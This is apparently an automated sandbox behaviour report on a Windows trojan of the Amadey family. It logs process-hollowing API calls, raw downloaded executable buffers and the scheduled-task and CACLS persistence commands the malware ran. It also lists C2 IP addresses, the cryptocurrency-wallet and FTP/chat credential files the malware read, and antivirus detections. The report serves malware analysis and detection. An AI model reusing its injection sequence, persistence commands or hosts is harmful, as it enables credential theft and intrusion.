Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $‘¶Õ×tOÕ×tOÕ×tOŽ¿pNÇ×tOŽ¿wNÞ×tOŽ¿qNe×tOºqN×tOºpNÚ×tOºwNÜ×tOŽ¿uNØ×tOÕ×uO×tON¹}NÑ×tON¹tNÔ×tON¹‹OÔ×tON¹vNÔ×tORichÕ×tOPEd†’ /eð" rê˜ €À`%Xh%ŒøÐØ¢ MpNà.textÈpr `.rdataº©ªv@@.data €@> @À.pdataآФ^@@_RDATA”€@@.rsrcø@@.reloc @BHƒì(A¸ H''H [è“ H JHƒÄ(éÿ ÌÌÌHƒì(A¸ H'H °_èc H LJHƒÄ(éÏ ÌÌÌHƒì(A¸H'H ``è3 H ŒJHƒÄ(éŸ ÌÌÌHƒì(A¸ Hï&H p[è H ÌJHƒÄ(éo ÌÌÌHƒì(A¸Hç&H à^èÓ~ H KHƒÄ(é? ÌÌÌHƒì(A¸HÏ&H Yè£~ H LKHƒÄ(é ÌÌÌHƒì(E3ÀH¢ˆH c_èv~ H KHƒÄ(éâ ÌÌÌÌÌÌHƒì(E3ÀHrˆH “_èF~ H ÏKHƒÄ(é² ÌÌÌÌÌÌHƒì(E3ÀHBˆH £Zè~ H LHƒÄ(é‚ ÌÌÌÌÌÌHƒì(E3ÀHˆH “Xèæ} H OLHƒÄ(éR ÌÌÌÌÌÌHƒì(A¸Hÿ%H àXè³} H ŒLHƒÄ(é ÌÌÌHƒì(A¸Hß%H °`èƒ} H ÌLHƒÄ(éï ÌÌÌHƒì(A¸H¿%H ^èS} H MHƒÄ(é¿ ÌÌÌHƒì(A¸HŸ%H pWè#} H LMHƒÄ(é ÌÌÌHƒì(A¸H%H Yèó| H ŒMHƒÄ(é_ ÌÌÌHƒì(A¸ Ho%H [èÃ| H ÌMHƒÄ(é/ ÌÌÌHƒì(A¸HO%H [è“| H NHƒÄ(éÿ ÌÌÌHƒì(A¸H+%H pYèc| H LNHƒÄ(éÏ ÌÌÌHƒì(A¸H%H @Zè3| H ŒNHƒÄ(éŸ ÌÌÌHƒì(A¸Hï$H ð[è| H ÌNHƒÄ(éo ÌÌÌHƒì(A¸ HÏ$H  \èÓ{ H OHƒÄ(é? ÌÌÌHƒì(A¸LH¯$H ÐXè£{ H LOHƒÄ(é ÌÌÌHƒì(A¸HÏ$H Vès{ H ŒOHƒÄ(éß ÌÌÌHƒì(A¸dH¿$H 0^èC{ H ÌOHƒÄ(é¯ ÌÌÌHƒì(A¸H÷$H €\è{ H PHƒÄ(é ÌÌÌHƒì(A¸Hß$H PZèãz H LPHƒÄ(éO ÌÌÌHƒì(A¸ HÏ$H €Uè³z H ŒPHƒÄ(é ÌÌÌHƒì(A¸ H¯$H ðZèƒz H ÌPHƒÄ(éïÿ ÌÌÌHƒì(A¸(H$H `YèSz H QHƒÄ(é¿ÿ ÌÌÌHƒì(A¸ H$H \è#z H LQHƒÄ(éÿ ÌÌÌHƒì(A¸ Ho$H ^èóy H ŒQHƒÄ(é_ÿ ÌÌÌHƒì(A¸HO$H PZèÃy H ÌQHƒÄ(é/ÿ ÌÌÌHƒì(A¸H/$H À[è“y H RHƒÄ(éÿþ ÌÌÌHƒì(A¸ H$H Wècy H LRHƒÄ(éÏþ ÌÌÌHƒì(A¸,Hÿ#H ÀWè3y H ŒRHƒÄ(éŸþ ÌÌÌHƒì(A¸Hÿ#H ÐVèy H ÌRHƒÄ(éoþ ÌÌÌHƒì(A¸ Hï#H €ZèÓx H SHƒÄ(é?þ ÌÌÌHƒì(A¸$HÏ#H ðZè£x H LSHƒÄ(éþ ÌÌÌHƒì(A¸HÇ#H  Wèsx H ŒSHƒÄ(éßý ÌÌÌHƒì(A¸H¯#H pRèCx H ÌSHƒÄ(é¯ý ÌÌÌHƒì(A¸HŸ#H àWèx H THƒÄ(éý ÌÌÌHƒì(A¸ H#H ÐTèãw H LTHƒÄ(éOý ÌÌÌHƒì(A¸ Ho#H ÀXè³w H ŒTHƒÄ(éý ÌÌÌHƒì(A¸ Hg#H °Uèƒw H ÌTHƒÄ(éïü ÌÌÌHƒì(A¸ Hÿ"H àRèSw H UHƒÄ(é¿ü ÌÌÌHƒì(A¸H/#H Uè#w H LUHƒÄ(éü ÌÌÌHƒì(A¸H#H @Rèóv H ŒUHƒÄ(é_ü ÌÌÌHƒì(A¸ H÷"H PYèÃv H ÌUHƒÄ(é/ü ÌÌÌHƒì(A¸LHŸH @Uè“v H VHƒÄ(éÿû ÌÌÌHƒì(A¸H§"H 0Uècv H LVHƒÄ(éÏû ÌÌÌHƒì(A¸dH¯H àUè3v H ŒVHƒÄ(éŸû ÌÌÌHƒì(A¸HW"H Yèv H ÌVHƒÄ(éoû ÌÌÌHƒì(A¸H?"H àWèÓu H WHƒÄ(é?û ÌÌÌHƒì(A¸ H'"H ðTè£u H LWHƒÄ(éû ÌÌÌHƒì(A¸H"H Rèsu H ŒWHƒÄ(éßú ÌÌÌHƒì(A¸Hß!H ðXèCu H ÌWHƒÄ(é¯ú ÌÌÌHƒì(A¸H·!H Tèu H XHƒÄ(éú ÌÌÌHƒì(A¸H!H pRèãt H LXHƒÄ(éOú ÌÌÌHƒì(A¸Ho!H  Pè³t H ŒXHƒÄ(éú ÌÌÌHƒì(A¸HO!H Nèƒt H ÌXHƒÄ(éïù ÌÌÌHƒì(A¸ H?!H €TèSt H YHƒÄ(é¿ù ÌÌÌHƒì(A¸0H!H pWè#t H LYHƒÄ(éù ÌÌÌHƒì(A¸ H'!H `Wèós H ŒYHƒÄ(é_ù ÌÌÌHƒì(A¸H!H ðWèÃs H ÌYHƒÄ(é/ù ÌÌÌ
request_handle: 0x00cc0014
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $'ö³c—jàc—jàc—jà8ÿiái—jà8ÿoáë—jà8ÿnáq—jà¶únál—jà¶úiár—jà¶úoáB—jà8ÿkád—jàc—kà—jàøùcá`—jàøùjáb—jàøù•àb—jàøùháb—jàRichc—jàPEL” /eà! ’Ðf à@@zœÜzP°øÀÜÀnp0o@ H.text  `.rdata@b d@@.data v@À.rsrcø°‚@@.relocÜÀ„@Bj hèl¹p˜èOHh°è\SYÃÌÌÌj h m¹ˆ˜è/Hhè<SYÃÌÌÌjh0m¹ ˜èHhpèSYÃÌÌÌjhHm¹¸˜èïGhÐèüRYÃÌÌÌjhem¹Ð˜èÏGh0èÜRYÃÌÌÌjhem¹è˜è¯Ghè¼RYÃÌÌÌjhem¹™èGhðèœRYÃÌÌÌjhem¹™èoGhPè|RYÃÌÌÌh°èmRYÃÌÌÌÌhè]RYÃÌÌÌÌhpèMRYÃÌÌÌÌj?hðm¹x™èGhÐè,RYÃÌÌÌh°èRYÃÌÌÌÌhPè RYÃÌÌÌÌhðèýQYÃÌÌÌÌhèíQYÃÌÌÌÌh0èÝQYÃÌÌÌ̋ÁÂÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPè[ƒÄ‹Æ^]ÂÌÌ̋I¸¼l…ÉEÁÃÌÌU‹ìV‹ñFÇÔ!PèC[ƒÄöEt j VèûMƒÄ‹Æ^]AÇÔ!Pè[YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀ‹ÁfÖAÇAÐlÇ,"ÃÌÌÌÌÌÌÌÌU‹ìƒì MôèÒÿÿÿh(zEôPèëZÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèBZƒÄÇ,"‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìV‹ñWÀFPÇÔ!f֋EƒÀPèZƒÄÇà!‹Æ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìì„ƒ}SV‹ÙW‰]à„Ûƒ}0„у}H„Çj/hhmMÈÇEôÇEøÆEäÇEØÇEÜÆEÈèþDjjjjh˜mÿ,!ƒ}MjCMjjjjjPQP‰E´ÿ0!ƒ}4M jCM jjjjQhœmP‰E¸ÿ4!ƒ}LU8ÿuHCU8Mȃ}Ü‹ðRÿuØCMÈQV‰uÀÿ8!EüPhÿ…€ûÿÿPVÿ<!…À„iƒ}ü„\…€ûÿÿÇE”ÇE˜PÆE„fDŠ@„Éuù+M„P…€ûÿÿPèD‹MüE„9M”ÇE¬BM”ƒ}˜QCE„MœPÇE°ÆEœèæCƒ}°Uœ‹}œ‹MôC׋Eø‹]¬+Á‰MÄSR;Øw,ƒ}øuä Cuä‰EôPè[j‹Mč3‹uÀƒÄ ÆëÆE¼Mäÿu¼SèIG‹}œ‹E°ƒør+H‹Çùr‹üƒÁ#+ǃÀüƒø‡˜QWèKƒÄ‹U˜ƒúr,‹M„B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡dRQèÓJƒÄ‹EüƄ€ûÿÿEüPhÿ…€ûÿÿPVÿ<!…À…šþÿÿ‹]àV‹5@!ÿÖÿu¸ÿÖÿu´ÿÖEä‹UܸÆEäó~EôfÖCÇEô‰Eøƒúr/‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡ÌRQè;J‹EøƒÄÇEØÇEÜÆEȃør.‹MäP‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡„RQèóIƒÄ‹UÇEôÇEøÆEäƒúr,‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡>RQè­IƒÄ‹U4ÇEÇEÆEƒúr,‹M B‹Áúr‹IüƒÂ#+ÁƒÀüƒø‡øRQègIƒÄ‹ULÇE0ÇE4ÆE ƒú‚Ç‹M8B‹Áú‚«‹IüƒÂ#+ÁƒÀüƒø‡ªé’jhemÇCÇCÆèMA‹Uƒúr(‹MB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwbRQèÑHƒÄ‹U4ÇEÇEÆEƒú‚Lÿÿÿ‹M B‹Áú‚0ÿÿÿ‹IüƒÂ#+ÁƒÀüƒøwéÿÿÿRQè‚HƒÄ_^‹Ã[‹å]Ãè nÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìƒì<¹`™SVW‹=@™3öVhem3Ûè@…ÿ„–DCOãÿ€yKËÿÿÿCŠ‹ð¥¶Ñòæÿ€yNÎÿÿÿF¶†ð¥ˆƒð¥ˆŽð¥Mඃð¥‰uø¶ÀjÇEðÇEô¶€ð¥ˆEÿEÿPÆEàè@Eàº`™PMÈèvA‹ðƒÄþ`™t|‹ t™ƒùr.¡`™Aùr‹PüƒÁ#+ƒÀüƒø‡Ô‹ÂQPèdGƒÄÇp™Çt™Æ`™`™ó~FfÖp™ÇFÇFÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw_RQèñFƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwRQè¯FƒÄ…ÿt‹uøéoþÿÿ_^[‹å]ÃèÃlÌÌÌU‹ìƒì<SVW‹ùÇGÇGÆèþÿÿ¡t™¾`™‹`™ƒø»0™Còƒ=D™C0™+މ]øƒø¹`™¡p™CÊÁ;ð„*Š3Mà2ˆEÿEÿjPÇEðÇEôÆEàèN>Eà‹×PMÈèÀ?‹ØƒÄ;ûte‹Oƒùr+‹Aùr‹PüƒÁ#+ƒÀüƒø‡Í‹ÂQPè¸EƒÄÇGÇGÆó~CfÖGÇCÇCÆ‹U܃úr(‹MÈB‹Áúr‹IüƒÂ#+ÁƒÀüƒøwiRQèVEƒÄ‹UôÇEØÇEÜÆEȃúr(‹MàB‹Áúr‹IüƒÂ#+ÁƒÀüƒøw'RQèEƒÄ¡t™F‹`™‹]øé¼þÿÿ‹Ç_^[‹å]ÃèkÌÌÌÌÌÌÌÌÌÌÌÌÌÌU‹ìQƒ}4E SCE VWÿu0‰Mü¹H™Pè =ƒ}EÿuCE¹0™Pèô<‹5X™3ۋ=\™fDƒÿˆ›ð¥‹Ã¹H™C H™™÷þŠ ˆƒð¤Cû|Ô3ÿ3öŠ–𥶆ð¤ø¶Êùçÿ€yOÏÿÿÿGŠ‡ð¥ˆ†ð¥Fˆ—ð¥þ|Á‹uü‹Îè‡ýÿÿ‹Uƒúr
request_handle: 0x00cc0014
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Communications over HTTP rule Network_HTTP
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Communications over HTTP rule Network_HTTP
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Match Windows Inet API call rule Str_Win32_Internet_API
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2136
process_handle: 0x000002e0
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2136
process_handle: 0x000002e0
1 0 0
cmdline "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
cmdline CACLS "Utsysc.exe" /P "test22:R" /E
cmdline C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
cmdline "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"
cmdline cmd /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
cmdline netsh wlan show profiles
cmdline CACLS "Utsysc.exe" /P "test22:N"
host 185.196.8.176
host 89.208.104.64
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002d8
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2176
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002dc
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2432
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002d4
1 0 0
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
file C:\Users\test22\AppData\Roaming\Electrum\wallets
file C:\Users\test22\AppData\Roaming\Litecoin\wallets
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Windows\Microsoft.NET\Framework64\v4.0.30319\.purple\accounts.xml
file C:\Windows\.purple\accounts.xml
file C:\Python27\.purple\accounts.xml
file C:\Windows\System32\.purple\accounts.xml
file C:\Users\test22\AppData\Local\Temp\ea7c8244c8\.purple\accounts.xml
file C:\.purple\accounts.xml
file C:\SystemRoot\System32\.purple\accounts.xml
file C:\Program Files (x86)\Internet Explorer\.purple\accounts.xml
file C:\Windows\Microsoft.NET\Framework\v4.0.30319\.purple\accounts.xml
file C:\Program Files (x86)\Microsoft Office\Office15\.purple\accounts.xml
file C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\.purple\accounts.xml
file C:\Windows\SysWOW64\.purple\accounts.xml
file C:\Program Files (x86)\EditPlus\.purple\accounts.xml
file C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\.purple\accounts.xml
Process injection Process 1532 manipulating memory of non-child process 2136
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002d8
3221225496 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: €0€ H`À}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x0044c000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer: €0€ H`À}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x0044c000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2432
process_handle: 0x000002d4
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2432
process_handle: 0x000002d4
1 1 0
registry HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Server
registry HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP Server
Process injection Process 1532 called NtSetContextThread to modify thread in remote process 2176
Process injection Process 2336 called NtSetContextThread to modify thread in remote process 2432
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4297040
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000002e0
process_identifier: 2176
1 0 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4297040
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000002d0
process_identifier: 2432
1 0 0
Process injection Process 1532 resumed a thread in remote process 2176
Process injection Process 2336 resumed a thread in remote process 2432
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002e0
suspend_count: 1
process_identifier: 2176
1 0 0

NtResumeThread

 thread_handle: 0x000002d0
suspend_count: 1
process_identifier: 2432
1 0 0
cmdline CACLS "..\ea7c8244c8" /P "test22:N"
cmdline "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
cmdline CACLS "..\ea7c8244c8" /P "test22:R" /E
cmdline CACLS "Utsysc.exe" /P "test22:R" /E
cmdline cmd /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
cmdline CACLS "Utsysc.exe" /P "test22:N"
tehtris Generic.Malware
Skyhigh BehavesLike.Win32.Generic.tz
Malwarebytes Trojan.MCrypt.MSIL.Generic
Sangfor Trojan.Win32.Agent.V0j0
BitDefenderTheta Gen:NN.ZemsilF.36792.Kn0@aqkQKLg
Elastic malicious (high confidence)
APEX Malicious
Cynet Malicious (score: 100)
Kaspersky UDS:DangerousObject.Multi.Generic
Sophos Mal/Generic-S
FireEye Generic.mg.c9aa05e75a369370
Ikarus Trojan.MSIL.Inject
Google Detected
Gridinsoft Trojan.Win32.Amadey.bot
ZoneAlarm UDS:DangerousObject.Multi.Generic
Microsoft Trojan:Win32/Sabsik.FL.B!ml
McAfee Artemis!C9AA05E75A36
DeepInstinct MALICIOUS
SentinelOne Static AI - Malicious PE
MaxSecure Trojan.Malware.300983.susgen
AVG MalwareX-gen [Trj]
Avast MalwareX-gen [Trj]
CrowdStrike win/malicious_confidence_100% (W)
dead_host 89.208.104.64:80
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1532
1 0 0

NtResumeThread

 thread_handle: 0x00000158
suspend_count: 1
process_identifier: 1532
1 0 0

NtResumeThread

 thread_handle: 0x0000019c
suspend_count: 1
process_identifier: 1532
1 0 0

NtResumeThread

 thread_handle: 0x00000214
suspend_count: 1
process_identifier: 1532
1 0 0

NtResumeThread

 thread_handle: 0x00000228
suspend_count: 1
process_identifier: 1532
1 0 0

NtResumeThread

 thread_handle: 0x000002ac
suspend_count: 1
process_identifier: 1532
1 0 0

CreateProcessInternalW

 thread_identifier: 2140
thread_handle: 0x000002d4
process_identifier: 2136
current_directory:
filepath:
track: 1
command_line: C:\Users\test22\AppData\Local\Temp\cleanupdate.exe
filepath_r:
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000002d8
1 1 0

NtGetContextThread

 thread_handle: 0x000002d4
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2136
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002d8
3221225496 0

CreateProcessInternalW

 thread_identifier: 2180
thread_handle: 0x000002e0
process_identifier: 2176
current_directory:
filepath:
track: 1
command_line: C:\Users\test22\AppData\Local\Temp\cleanupdate.exe
filepath_r:
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x000002dc
1 1 0

NtGetContextThread

 thread_handle: 0x000002e0
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2176
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000002dc
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÁB…o,A…o,A…o,AÞ/@ˆo,AÞ)@"o,AÞ(@“o,AP(@—o,AP/@‘o,AP)@Ëo,AÞ-@Šo,A…o-A.o,A%@„o,AÓA„o,A.@„o,ARich…o,APEL— /eà z^P‘@@`€ ÀàÐh/ gp´hh@Œ.text?yz `.rdatanÿ~@@.data˜+~@À.rsrcàÀš@@.reloch/Ð0œ@B
base_address: 0x00400000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00439000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00449000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: €0€ H`À}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x0044c000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0044d000
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2176
process_handle: 0x000002dc
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4297040
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000002e0
process_identifier: 2176
1 0 0

NtResumeThread

 thread_handle: 0x000002e0
suspend_count: 1
process_identifier: 2176
1 0 0

CreateProcessInternalW

 thread_identifier: 2340
thread_handle: 0x00000324
process_identifier: 2336
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000032c
1 1 0

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x0000014c
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x000001b0
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x000001e0
suspend_count: 1
